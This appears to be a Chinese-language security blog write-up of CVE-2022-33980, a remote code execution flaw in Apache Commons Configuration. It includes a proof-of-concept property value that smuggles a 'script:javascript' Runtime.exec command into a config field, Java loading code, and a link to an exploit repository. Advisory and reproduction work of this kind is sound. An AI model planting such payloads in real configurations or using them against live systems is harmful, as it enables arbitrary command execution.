Apache Commons Configuration 远程命令执行漏洞CVE-2022-33980

漏洞描述

能够控制配置文件或属性的攻击者可能能够运行任意系统命令
 


 

影响版本

Apache Commons 配置  2.7
 


 

漏洞复现

问题:不安全的脚本评估 ( GHSL-2022-017)
默认情况下,Commons Configuration 执行变量插值,允许动态评估和扩展属性。变量名的一般语法是${prefix:name}. 前缀告诉 Commons Configuration 该变量将在特定上下文中进行评估。如果缺少前缀,则上下文是当前配置实例。如果提供了前缀,那么它将用于查找Lookup将解析变量的匹配类。Commons Configuration 使用 Commons TextStringSubstitutor和默认的插值查找集。默认的可用查找之一是ScriptStringLookup使用javax.script包来运行脚本(例如:JavascriptGroovy 等)。攻击者可以提供配置属性,例如${script:javascript:java.lang.Runtime.getRuntime().exec()}在检索属性时运行任意系统命令。

POC
创建一个属性文件,例如:

database.user = ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

加载database.user属性:

Parameters params = new Parameters();
File propertiesFile = new File("config.properties");

FileBasedConfigurationBuilder<FileBasedConfiguration> builder = new FileBasedConfigurationBuilder<FileBasedConfiguration>(PropertiesConfiguration.class)
    .configure(params.fileBased()
    .setFile(propertiesFile));
FileBasedConfiguration config = builder.getConfiguration();
config.getString("database.user");

/tmp/foo应该已经创建了一个名为的文件。

脚本
https://github.com/tangxiaofeng7/CVE-2022-33980-Apache-Commons-Configuration-RCE

图片[1]-Apache Commons Configuration 远程命令执行漏洞CVE-2022-33980-孤勇者社区

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞8赞赏 分享
评论 共2条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像撒王0
    • 头像杨死0